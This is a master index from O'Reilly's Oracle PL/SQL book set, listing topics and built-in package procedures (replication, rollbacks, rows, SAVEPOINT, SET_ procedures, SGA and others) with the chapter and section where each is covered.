4.2.2. Advising Oracle About In-Doubt Transactions, Oracle Built-in Packages
propagating messages to: 5.1.4. Propagation Features, Oracle Built-in Packages
remote dependency
1.4.6.4. Improved remote dependency model, Oracle PL/SQL Programming
1.4.7.5. External procedures, Oracle PL/SQL Programming
remote destinations
(see also RPCs)
17.1.1. About Remote Destinations, Oracle Built-in Packages
adding default destinations: 17.2.2.1. The DBMS_DEFER.SYS.ADD_DEFAULT_DEST procedure, Oracle Built-in Packages
data dictionary view for: 17.1.1. About Remote Destinations, Oracle Built-in Packages
deleting default destinations: 17.2.2.2. The DBMS_DEFER.SYS.DELETE_DEFAULT_DEST procedure, Oracle Built-in Packages
specifying: 17.3.2.1. The DBMS_DEFER.TRANSACTION procedure, Oracle Built-in Packages
remote procedure calls
(see also RPCs)
7.2.3. Controlling Trace File Contents, Guide to Oracle8i Features
B.2.3. No Direct Remote Procedure Calls, Oracle PL/SQL Programming
remote procedures
22.7.5. Default Values and Remote Procedure Calls, Oracle PL/SQL Programming
23.4. Remote Procedure Calls, Oracle PL/SQL Programming
remove_all_jobs procedure
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
13.3.3. DBMS_IJOB: Managing Other Users' Jobs , Oracle Built-in Packages
removing: (see deleting)
repcatlog queue: 15.3.6. Maintaining the Repcatlog Queue with DBMS_REPCAT, Oracle Built-in Packages
processing entries: 15.3.6.1. The DBMS_REPCAT.DO_DEFERRED_REPCAT_ADMIN procedure, Oracle Built-in Packages
removing entries: 15.3.6.3. The DBMS_REPCAT.PURGE_MASTER_LOG procedure, Oracle Built-in Packages
waiting for completion: 15.3.6.2. The DBMS_REPCAT.WAIT_MASTER_LOG procedure, Oracle Built-in Packages
repeatable reads: 4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure, Oracle Built-in Packages
repeats function: 5.27.2. Setting the repetition value, Advanced Oracle PL/SQL Programming with Packages
repetitive code (see redundancy)
repgroup.sql : 15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure, Oracle Built-in Packages
replaceitem procedure: 5.18.3. Modifying list contents , Advanced Oracle PL/SQL Programming with Packages
replacing characters in strings: 11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
replicated objects
(see also master sites; replication groups)
15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
altering: 15.3.3.5. The DBMS_REPCAT.ALTER_MASTER_REPOBJECT procedure, Oracle Built-in Packages
comments, adding or changing: 15.3.3.6. The DBMS_REPCAT.COMMENT_ON_REPOBJECT procedure, Oracle Built-in Packages
dropping: 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
packages: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
procedures: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
support generation, priority group creation and: 16.3.2.1. The DBMS_REPCAT.DEFINE_PRIORITY_GROUP procedure, Oracle Built-in Packages
tables: (see tables, replicated tables)
triggers: (see replication triggers)
replication
(see also advanced replication)
13. Job Scheduling in the Database, Oracle Built-in Packages
RPCs and: 17.1.1. About Remote Destinations, Oracle Built-in Packages
job queue and: 13. Job Scheduling in the Database, Oracle Built-in Packages
propagating DML: 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
raw data and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
replication groups
(see also master sites; replicated objects)
15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure, Oracle Built-in Packages
BEFORE ROW triggers and: 15.3.4. Replication Support with DBMS_REPCAT, Oracle Built-in Packages
comments, adding or changing: 15.3.2.3. The DBMS_REPCAT.COMMENT_ON_REPGROUP procedure, Oracle Built-in Packages
creating:
15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure, Oracle Built-in Packages
15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure, Oracle Built-in Packages
creating objects: 15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure, Oracle Built-in Packages
dropping: 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure, Oracle Built-in Packages
executing DDL: 15.3.3.4. The DBMS_REPCAT.EXECUTE_DDL procedure, Oracle Built-in Packages
propagation modes
altering for current session: 15.6. DBMS_REPUTIL: Enabling and Disabling Replication, Oracle Built-in Packages
altering for individual columns: 15.3.8.3. The DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES procedure (Oracle8 only), Oracle Built-in Packages
altering for replication group: 15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure, Oracle Built-in Packages
pseudo-primary keys, designating: 15.3.3.2. The DBMS_REPCAT.SET_COLUMNS procedure, Oracle Built-in Packages
quiescing: 15.3.7.1. The DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY procedure, Oracle Built-in Packages
replication schema groups versus: 15.3.2. Replication Groups with DBMS_REPCAT, Oracle Built-in Packages
resuming activity: 15.3.7.2. The DBMS_REPCAT.RESUME_MASTER_ACTIVITY procedure, Oracle Built-in Packages
resynchronizing object identifiers: 15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure, Oracle Built-in Packages
replication modes, ESL: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
replication packages
(see also replication support packages)
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
generating: 15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure, Oracle Built-in Packages
replication queue: (see repcatlog queue)
replication support packages
(see also replication packages)
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
15.3.4.2. The DBMS_REPCAT.GENERATE_REPLICATION_PACKAGE procedure, Oracle Built-in Packages
generating: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
replication triggers: 14.1.2.1. The DBMS_SNAPSHOT.I_AM_A_REFRESH function, Oracle Built-in Packages
conflict resolution and: 14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure, Oracle Built-in Packages
deferred transactions and: 17. Deferred Transactions and Remote Procedure Calls, Oracle Built-in Packages
dropping replicated objects and: 14.4.3.2. The DBMS_REPCAT.DROP_SNAPSHOT_REPOBJECT procedure, Oracle Built-in Packages
dropping replicated tables and: 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
generating
15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
15.3.4.3. The DBMS_REPCAT.GENERATE_REPLICATION_TRIGGER procedure, Oracle Built-in Packages
propagation mode alteration and: 15.3.8.2. The DBMS_REPCAT.ALTER_MASTER_PROPAGATION procedure, Oracle Built-in Packages
repobjs.sql : 15.3.3.1. The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure, Oracle Built-in Packages
report wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
reports
DBMS_OUTPUT used for: 6.1. DBMS_OUTPUT: Displaying Output, Oracle Built-in Packages
Method 4 dynamic SQL used for: 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
repos_rectype TYPE: 12.2.2. Database Source or Target, Advanced Oracle PL/SQL Programming with Packages
repository, code: (see PLVio package)
repsites.sql : 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure, Oracle Built-in Packages
reraise procedure: 22.1.5. What About the Reraise Action?, Advanced Oracle PL/SQL Programming with Packages
reserved words
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
5.26. PLVtkn: Token Table Interface, Advanced Oracle PL/SQL Programming with Packages
10.2. PLVtkn: Managing PL/SQL Tokens, Advanced Oracle PL/SQL Programming with Packages
2.2.1. Reserved Words, Oracle PL/SQL Programming
3.1.2. Using Case to Aid Readability, Oracle PL/SQL Programming
determining types of: 10.2.2. Determining Token Type, Advanced Oracle PL/SQL Programming with Packages
displaying code by: 15.3.2. Displaying Code by Keyword, Advanced Oracle PL/SQL Programming with Packages
initializing table of: 10.3.3. Initializing a Table of Tokens, Advanced Oracle PL/SQL Programming with Packages
reset procedure
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.7. The reset procedure , Oracle Built-in Packages
reset_savepoints procedure: 5.23.4. Managing savepoints , Advanced Oracle PL/SQL Programming with Packages
resource accounting: (see performance analysis)
resource management: 11.1.4. Managing Session Resources, Oracle Built-in Packages
server resources: 12. Managing Server Resources, Oracle Built-in Packages
resource name, URL: 2.2.5. The Uniform Resource Locator, Oracle Web Applications
resources, web: 2.1. Resources, Oracle Web Applications
rest_of_line function: 5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
restoresrc procedure: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
restoretrg procedure: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
restoring
PL/SQL objects: 11.3.4. Saving and Restoring the Current Object, Advanced Oracle PL/SQL Programming with Packages
repository settings
12.8. Saving and Restoring Settings, Advanced Oracle PL/SQL Programming with Packages
5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
restrict procedure: 9.4. The Restriction Toggle, Advanced Oracle PL/SQL Programming with Packages
restricted ROWIDs
Oracle versions and: 9. Datatype Packages, Oracle Built-in Packages
converting from extended ROWIDs: 9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function, Oracle Built-in Packages
creating extended ROWIDs from: 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
format: 9.1.2. ROWID Concepts, Oracle Built-in Packages
restricting function: 9.4. The Restriction Toggle, Advanced Oracle PL/SQL Programming with Packages
restricting use of text: 5.19.1. Restricting use of text, Advanced Oracle PL/SQL Programming with Packages
result sets: 6.2.5. Cursors, Oracle Web Applications
retry counters
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
reusable application components
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
reusing code: 1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
reusing dynamic SQL cursors: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
rights models: 18.3.7.3. Rights model, Oracle PL/SQL Programming
roles
(see also privileges)
2.4.2. Privileges and Execution Authority with DBMS_SQL, Oracle Built-in Packages
1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
advanced queuing and
5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
5.4. DBMS_AQ: Interfacing to Oracle AQ (Oracle8 only), Oracle Built-in Packages
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
job execution and: 13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
session roles
enabling/disabling: 11.1.2.4. The DBMS_SESSION.SET_ROLE procedure, Oracle Built-in Packages
testing if enabled: 11.1.3.1. The DBMS_SESSION.IS_ROLE_ENABLED function, Oracle Built-in Packages
roles, database
2.5.4. Roles, Oracle Web Applications
3.1.1.2. Administer WebDB and database security, Oracle Web Applications
rollback: 4.2.4. Rolling Back Changes, Oracle Built-in Packages
alerts and: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
behavior: 21.1.5.4. Setting the default "rollback to" behavior, Advanced Oracle PL/SQL Programming with Packages
lock persistence and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
message processing and: 5.1.3. Dequeue Features, Oracle Built-in Packages
snapshot refreshing and: 14.1.3.1. The DBMS_SNAPSHOT.REFRESH procedure, Oracle Built-in Packages
rollback_to procedure
5.23.3. Performing rollbacks, Advanced Oracle PL/SQL Programming with Packages
20.2.4. Performing Rollbacks, Advanced Oracle PL/SQL Programming with Packages
rollbackd
in PLVlog package: 5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
rollbacks
5.23. PLVrb: Rollback Processing, Advanced Oracle PL/SQL Programming with Packages
20.2. PLVrb: Performing Rollbacks, Advanced Oracle PL/SQL Programming with Packages
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
PLVlog package and: 21.1.5. Rolling Back with PLVlog, Advanced Oracle PL/SQL Programming with Packages
on errors: 22.1.8. Rolling Back When an Exception Occurs, Advanced Oracle PL/SQL Programming with Packages
rolling_back function
5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
5.23.1. Controlling rollback activity, Advanced Oracle PL/SQL Programming with Packages
21.1.5.1. Toggling rollback activity, Advanced Oracle PL/SQL Programming with Packages
root privileges, and ports: 2.2.2. The Communication Port, Oracle Web Applications
rounding dates: 12.1.6. The ROUND function, Oracle PL/SQL Programming
row numbers
converting expressions to: 10.5.1. Automatic Conversion of Row Number Expressions, Oracle PL/SQL Programming
returning: 9.1.3.6. The DBMS_ROWID.ROWID_ROW_NUMBER function, Oracle Built-in Packages
row-by-row fetching: 5.5. Analyzing the Impact of Bulk Operations, Guide to Oracle8i Features
row-level security (RLS)
1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control), Guide to Oracle8i Features
7.3.2. DBMS_RLS Programs, Guide to Oracle8i Features
rowbyhash function: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
rowbyscan function: 10.1.2.12. The DBMS_UTILITY.GET_HASH_VALUE function, Oracle Built-in Packages
rows
deleting arrays
2.5.6.2. Using array processing to delete, Oracle Built-in Packages
2.5.7.2. RETURNING from a multiple-row delete, Oracle Built-in Packages
deleting objects in: 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure, Oracle Built-in Packages
fetching
2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
2.3.7. Fetching Rows, Oracle Built-in Packages
2.3.8.1. The DBMS_SQL.COLUMN_VALUE procedure, Oracle Built-in Packages
example: 2.5.4.6. Retrieving and displaying data, Oracle Built-in Packages
immediate fetching: 2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function, Oracle Built-in Packages
past last record
2.3.7.1. The DBMS_SQL.FETCH_ROWS function, Oracle Built-in Packages
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function, Oracle Built-in Packages
fetching arrays
2.3.7.1. The DBMS_SQL.FETCH_ROWS function, Oracle Built-in Packages
2.3.7.2. The DBMS_SQL.EXECUTE_AND_FETCH function, Oracle Built-in Packages
2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
inserting arrays: 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
rowid of latest row fetched: 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
rows fetched count: 2.3.10.2. The DBMS_SQL.LAST_ROW_COUNT function, Oracle Built-in Packages
table
(see also records; tables)
9.1.1. Different Types of Records, Oracle PL/SQL Programming
data-smart numbers for: 10.9.2. Data-Smart Row Numbers in PL/SQL Tables, Oracle PL/SQL Programming
negative index: 10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
referencing and modifying: 10.5. Referencing and Modifying PL/SQL Table Rows, Oracle PL/SQL Programming
updating arrays: 2.5.6.3. Using array processing to update, Oracle Built-in Packages
rows procedure: 2.5.6.4. Using array processing to fetch, Oracle Built-in Packages
rule-based subscribers: 7.6.4. Improved Publish/Subscribe Support, Guide to Oracle8i Features
rules
FORALL statement: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
Java wrappers: 9.8.2. Some Rules for Java Wrappers, Guide to Oracle8i Features
triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
run authority (see execute authority)
runddl engine: 1.3.2. Invoker Rights, Guide to Oracle8i Features
runddl.sp : 2.4.2.2. The tale of Scott , Oracle Built-in Packages
runprog.sp : 2.3.8.3. The DBMS_SQL.VARIABLE_VALUE procedure, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: S

Index: S

"snapshot too old" error: 20.1.1.1. Commit processing challenges, Advanced Oracle PL/SQL Programming with Packages
SAVEPOINT procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.4.3. The DBMS_TRANSACTION.SAVEPOINT procedure, Oracle Built-in Packages
C.15.12. The SAVEPOINT procedure , Oracle PL/SQL Programming
6.1.3. The SAVEPOINT Statement, Oracle PL/SQL Programming
SCHEDULE_EXECUTION procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.5.3. The DBMS_DEFER_SYS.SCHEDULE_EXECUTION procedure, Oracle Built-in Packages
SCHEDULE_PROPAGATION procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.5.1. The DBMS_AQADM.SCHEDULE_PROPAGATION procedure, Oracle Built-in Packages
SCHEDULE_PURGE procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.4. The DBMS_DEFER_SYS.SCHEDULE_PURGE procedure (Oracle8 only), Oracle Built-in Packages
SCHEDULE_PUSH procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.6.5. The DBMS_DEFER_SYS.SCHEDULE_PUSH procedure (Oracle8 only), Oracle Built-in Packages
SCHEMA column,*_CONTEXT data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
SEED procedure
10.4.1. Getting Started with DBMS_RANDOM, Oracle Built-in Packages
10.4.2.2. The DBMS_RANDOM.SEED procedure (Oracle8 only), Oracle Built-in Packages
SEL column, *_POLICIES data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
SELECT COUNT(*): 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
SELECT INTO clause
5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
9.5.2. SELECT INTO from an Implicit Cursor, Oracle PL/SQL Programming
SELECT statement
1.6.1.5. Isolate volatile areas of functionality, Advanced Oracle PL/SQL Programming with Packages
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
SELECT FOR UPDATE statement
6.11. SELECT FOR UPDATE in Cursors, Oracle PL/SQL Programming
6.13.2. Managing a Work Queue with SELECT FOR UPDATE, Oracle PL/SQL Programming
SELECT INTO statement, initializing collections: 19.4.1.3. Initializing implicitly via fetch, Oracle PL/SQL Programming
THE function with: 19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
assigning objects: 18.4.1.3. Assignment via FETCH (with SELECT), Oracle PL/SQL Programming
cursors and: 6.2. Cursors in PL/SQL, Oracle PL/SQL Programming
in cursor declarations: 6.4. Declaring Cursors, Oracle PL/SQL Programming
SELECT statements
(see also DML statements)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes, Oracle PL/SQL Programming
9.1.5. Referencing a Record and its Fields, Oracle PL/SQL Programming
10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
LONG values versus: 2.3.8.2. The DBMS_SQL.COLUMN_VALUE_LONG procedure, Oracle Built-in Packages
constructing (example): 2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
defining columns for: 2.3.1. Processing Flow of Dynamic SQL, Oracle Built-in Packages
dynamic execution of: 2. Executing Dynamic SQL and PL/SQL, Oracle Built-in Packages
source: 12.4.1. Viewing the Current Source SELECT, Advanced Oracle PL/SQL Programming with Packages
SELECT...BULK COLLECT statement: 5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
SELECT_OBJECT procedure: 9.2.5.3. The UTL_REF.SELECT_OBJECT procedure, Oracle Built-in Packages
SELF object
18.1.2. Some Simple Examples, Oracle PL/SQL Programming
18.3.5. SELF: The Implied Parameter, Oracle PL/SQL Programming
IN mode for: 18.3.4.2. Dots in method invocations, Oracle PL/SQL Programming
SEND procedure, OWA_COOKIE package: 7.3.1.2. Procedures and functions, Oracle Web Applications
SEND_AND_COMPARE_OLD_VALUES procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.8.3. The DBMS_REPCAT.SEND_AND_COMPARE_OLD_VALUES procedure (Oracle8 only), Oracle Built-in Packages
SEND_MESSAGE function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function, Oracle Built-in Packages
C.10.8. The SEND_MESSAGE function, Oracle PL/SQL Programming
creating pipes: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
SERIALIZABLE isolation level: 2.4.2. Transaction Visibility, Guide to Oracle8i Features
SERVERERROR events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
SERVER_ERROR attribute, database-level event: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
SESSION_USER attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
SESSION_USERID attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
SET PAGESIZE command: 17.5.6. Page Pausing with PLVhlp.more, Advanced Oracle PL/SQL Programming with Packages
SET PAUSE ON command: 17.5.6. Page Pausing with PLVhlp.more, Advanced Oracle PL/SQL Programming with Packages
SET SERVEROUTPUT (SQL*)
6.1.2.2. The DBMS_OUTPUT.DISABLE procedure, Oracle Built-in Packages
6.1.5. Tips on Using DBMS_OUTPUT, Oracle Built-in Packages
SET SERVEROUTPUT command: 7.1.2. Displaying Dates, Advanced Oracle PL/SQL Programming with Packages
SET TRANSACTION statement
2.4.2. Transaction Visibility, Guide to Oracle8i Features
6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
SET clause
6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
array updating and: 2.5.6.3. Using array processing to update, Oracle Built-in Packages
functions in: 17.1. Looking at the Problem, Oracle PL/SQL Programming
SET_ACTION procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure, Oracle Built-in Packages
SET_AUTHORIZATION procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
SET_BLOCK_PROPERTY: 14.3.4. Using TO_CHAR to Create a Date Range, Oracle PL/SQL Programming
SET_CLIENT_INFO procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.4. The DBMS_APPLICATION_INFO.SET_CLIENT_INFO procedure, Oracle Built-in Packages
SET_CLOSE_CACHED_OPEN_CURSORS procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.4.4. The DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS procedure, Oracle Built-in Packages
SET_COLUMNS procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.3.2. The DBMS_REPCAT.SET_COLUMNS procedure, Oracle Built-in Packages
SET_COMPILER procedure: 9.7.2. GET_, SET_, and RESET_COMPILER OPTIONS: Getting and Setting Compiler Options , Guide to Oracle8i Features
SET_COMPILER_OPTION procedure: 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
SET_CONTEXT procedure
8.3. SET_CONTEXT: Setting Context and Attribute Values, Guide to Oracle8i Features
8.1. FGAC Components, Guide to Oracle8i Features
SET_DEFAULTS procedure
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure, Oracle Built-in Packages
C.2.4. The SET_DEFAULTS procedure, Oracle PL/SQL Programming
SET_DISABLED procedure
17.2.1.1. DBMS_DEFER_SYS programs, Oracle Built-in Packages
17.2.4.5. The DBMS_DEFER_SYS.SET_DISABLED procedure, Oracle Built-in Packages
SET_EV procedure
11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
11.2.2.2. The DBMS_SYSTEM.SET_EV procedure, Oracle Built-in Packages
SET_I_AM_A_REFRESH procedure
14.1.1. Getting Started with DBMS_SNAPSHOT, Oracle Built-in Packages
14.1.2.2. The DBMS_SNAPSHOT.SET_I_AM_A_REFRESH procedure, Oracle Built-in Packages
SET_LABEL procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.2.1. The DBMS_SESSION.SET_LABEL procedure, Oracle Built-in Packages
C.12.4. The SET_LABEL procedure, Oracle PL/SQL Programming
SET_MLS_LABEL procedure: C.12.5. The SET_NLS_LABEL procedure, Oracle PL/SQL Programming
SET_MLS_LABEL_FORMAT procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.2.2. DBMS_SESSION.SET_MLS_LABEL_FORMAT procedure, Oracle Built-in Packages
SET_MODULE procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.5. The DBMS_APPLICATION_INFO.SET_MODULE procedure, Oracle Built-in Packages
SET_NLS procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
C.12.6. The SET_NLS procedure, Oracle PL/SQL Programming
SET_OUTPUT procedure
9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
9.7.3. SET_OUTPUT: Enabling Output from Java , Guide to Oracle8i Features
SET_PLSQL_TRACE procedure, DBMS_TRACE package: 7.2.2. DBMS_TRACE Programs , Guide to Oracle8i Features
SET_PROTECTION_REALM procedure, OWA_SEC package: 7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
SET_ROLE procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.2.4. The DBMS_SESSION.SET_ROLE procedure, Oracle Built-in Packages
C.12.7. The SET_ROLE procedure, Oracle PL/SQL Programming
SET_SESSION_LONGOPS procedure
7.1.1. DBMS_APPLICATION_INFO Programs , Oracle Built-in Packages
7.2.6. The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure, Oracle Built-in Packages
7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
encapsulating: 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
SET_SQL_TRACE procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure, Oracle Built-in Packages
C.12.8. The SET_SQL_TRACE procedure, Oracle PL/SQL Programming
SET_SQL_TRACE_IN_SESSION procedure
11.2.1. Getting Started with DBMS_SYSTEM , Oracle Built-in Packages
11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure, Oracle Built-in Packages
SET_UP procedure: C.13.6. The SET_UP procedure, Oracle PL/SQL Programming
SGA (System Global Area)
1.4.3. The Memory-Resident Architecture of Packages, Advanced Oracle PL/SQL Programming with Packages
1.6.3. The Initialization Section, Advanced Oracle PL/SQL Programming with Packages
4.4.1. Binding Versus Concatenation, Guide to Oracle8i Features
DBMS_PIPE package and: 1.5.1.1. Leveraging builtin packages, Advanced Oracle PL/SQL Programming with Packages
pinning critical code in: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
tuning shared pool size: 25.2.1. Tune the Size of the Shared Pool of the SGA, Oracle PL/SQL Programming
SGML (Standardized General Markup Language): 9. XML, Oracle Web Applications
SHARED_POOL_SIZE constant: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
SHOW ERRORS command: 15.1.2. What SHOW ERRORS Does, Advanced Oracle PL/SQL Programming with Packages
SHOWPAGE procedure: 7.4.1.1. Debugging, Oracle Web Applications
SHOWSOURCE procedure: 7.4.1.1. Debugging, Oracle Web Applications
SHUTDOWN events
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
6.2. Database-Level Event Triggers, Guide to Oracle8i Features
SIGN function: 13.1.16. The SIGN function, Oracle PL/SQL Programming
SIGNAL procedure
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
C.2.5. The SIGNAL procedure, Oracle PL/SQL Programming
SIGNATURE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
SIN function: 13.1.17. The SIN function, Oracle PL/SQL Programming
SINH function: 13.1.18. The SINH function, Oracle PL/SQL Programming
SIZES procedure
12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
12.2.3.1. The DBMS_SHARED_POOL.SIZES procedure, Oracle Built-in Packages
SLEEP procedure
17.5.6.1. A futile first effort, Advanced Oracle PL/SQL Programming with Packages
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
4.1.2.5. The DBMS_LOCK.SLEEP procedure, Oracle Built-in Packages
C.7.5. The SLEEP procedure, Oracle PL/SQL Programming
